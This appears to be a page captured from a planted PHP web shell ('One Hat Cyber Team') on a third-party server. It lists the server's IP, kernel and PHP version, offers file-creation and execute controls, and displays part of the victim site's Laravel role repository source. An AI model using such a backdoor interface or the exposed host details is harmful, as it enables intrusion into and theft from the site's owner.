⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.142
Server IP:
217.76.53.76
Server:
Linux vmi1397931.contaboserver.net 5.4.0-105-generic #119-Ubuntu SMP Mon Mar 7 18:49:24 UTC 2022 x86_64
Server Software:
Apache
PHP Version:
8.2.27
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
www
/
wwwroot
/
mydetails.com.ng
/
app
/
Repositories
/
View File Name :
RoleRepository.php
fieldSearchable; } /** * Configure the Model **/ public function model() { return Role::class; } /** * @return mixed */ public function getPermissions() { $permissions = Permission::toBase()->get(); return $permissions; } public function store($input): Role { $displayName = strtolower($input['display_name']); $input['name'] = str_replace(' ', '_', $displayName); /** @var Role $role */ $role = Role::create($input); if (isset($input['permission_id']) && ! empty($input['permission_id'])) { $role->permissions()->sync($input['permission_id']); } return $role; } public function update(array $input, int $id): Role { $displayName = strtolower($input['display_name']); $str = str_replace(' ', '_', $displayName); $role = Role::findById($id); /** @var Role $role */ $role->update([ 'name' => $str, 'display_name' => $input['display_name'], ]); if (isset($input['permission_id']) && ! empty($input['permission_id'])) { $role->permissions()->sync($input['permission_id']); } return $role; } }